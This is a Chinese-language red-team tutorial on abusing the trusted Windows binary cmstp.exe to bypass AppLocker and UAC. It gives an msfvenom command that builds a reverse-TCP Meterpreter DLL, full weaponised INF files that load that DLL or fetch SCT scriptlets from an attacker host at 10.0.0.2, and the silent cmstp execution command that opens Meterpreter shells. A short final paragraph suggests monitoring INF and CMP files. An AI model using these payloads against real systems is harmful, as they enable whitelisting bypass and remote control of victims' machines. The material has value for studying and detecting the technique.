导语:CMSTP是与Microsoft连接管理器配置文件安装程序关联的二进制文件。它接受INF文件,这些文件可以通过恶意命令武器化,以脚本(SCT)和DLL的形式执行任意代码。
CMSTP是与Microsoft连接管理器配置文件安装程序关联的二进制文件。它接受INF文件,这些文件可以通过恶意命令武器化,以脚本(SCT)和DLL的形式执行任意代码。它是位于以下两个Windows目录中的受信任的Microsoft二进制文件。
· C:\Windows\System32\cmstp.exe
· C:\Windows\SysWOW64\cmstp.exe
AppLocker默认规则允许在这些文件夹中执行二进制文件,因此它可以用作绕过方法。最初Oddvar Moe发现可以使用这个CMSTP文件绕过AppLocker和UAC,并在他的博客上发表他的研究成果!
DLL
Metasploit Framework可用于通过msfvenom生成恶意DLL文件。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.2 LPORT=4444 -f dll>/root/Desktop/pentestlab.dll
Metasploit – DLL生成
INF文件的RegisterOCXSection需要包含恶意DLL文件的本地路径或远程执行的WebDAV位置。
[version] Signature=$chicago$ AdvancedINF=2.5 [DefaultInstall_SingleUser] RegisterOCXs=RegisterOCXSection [RegisterOCXSection] C:\Users\test.PENTESTLAB\pentestlab.dll [Strings] AppAct = "SOFTWARE\Microsoft\Connection Manager" ServiceName="Pentestlab" ShortSvcName="Pentestlab"
CMSTP – 本地DLL执行
Metasploit multi / handler模块需要配置为接收请求。
CMSTP – Metasploit多处理程序
当恶意INF文件与cmstp一起提供时,代码将在后台执行。
cmstp.exe /s cmstp.inf
CMSTP – INF在本地执行
Meterpreter会话将从DLL执行中打开。
CMSTP – 通过DLL执行的Meterpreter
SCT
除了DLL文件外,cmstp还能够运行SCT文件,这些文件在红队运行期间扩展了此二进制文件的可用性。Nick Tyrer最初通过推特展示了这种能力。
Nick Tyrer还编写了一个名为powersct.sct的scriptlet ,可以将其用作执行PowerShell命令的备选解决方案,以防本机PowerShell被阻止。该UnRegisterOCXSection需要包含小脚本的URL。最终的INF文件需要包含以下内容:
[version] Signature=$chicago$ AdvancedINF=2.5 [DefaultInstall_SingleUser] UnRegisterOCXs=UnRegisterOCXSection [UnRegisterOCXSection] %11%\scrobj.dll,NI,http://10.0.0.2/tmp/powersct.sct [Strings] AppAct = "SOFTWARE\Microsoft\Connection Manager" ServiceName="Pentestlab" ShortSvcName="Pentestlab"
当INF文件将执行一个新的窗口将打开,这将允许用户执行PowerShell命令。
cmstp.exe /s cmstp.inf
CMSTP – PowerShell
代码执行也可以通过使用scriptlet来调用恶意可执行文件。INF文件需要包含scriptlet的远程位置。
[version] Signature=$chicago$ AdvancedINF=2.5 [DefaultInstall_SingleUser] UnRegisterOCXs=UnRegisterOCXSection [UnRegisterOCXSection] %11%\scrobj.dll,NI,http://10.0.0.2/tmp/pentestlab.sct [Strings] AppAct = "SOFTWARE\Microsoft\Connection Manager" ServiceName="Pentestlab" ShortSvcName="Pentestlab"
CMSTP – SCT执行
在执行INF文件时,将会打开一个新的命令提示符窗口,这将表示代码已成功执行。
CMSTP – 使用Scriptlet执行INF
Meterpreter获取到shell。
CMSTP – Meterpreter通过SCT执行
结论
CMSTP需要INF文件并在执行时生成一个CMP文件,它是连接管理器设置文件。这两个文件实际上都是文本文件,不太可能触发任何警报。因此,如果攻击者已经开始使用此技术,cmstp.exe二进制文件无法被AppLocker规则阻止,则需要对这两个文件进行监视。
CMSTP – INF和CMP文件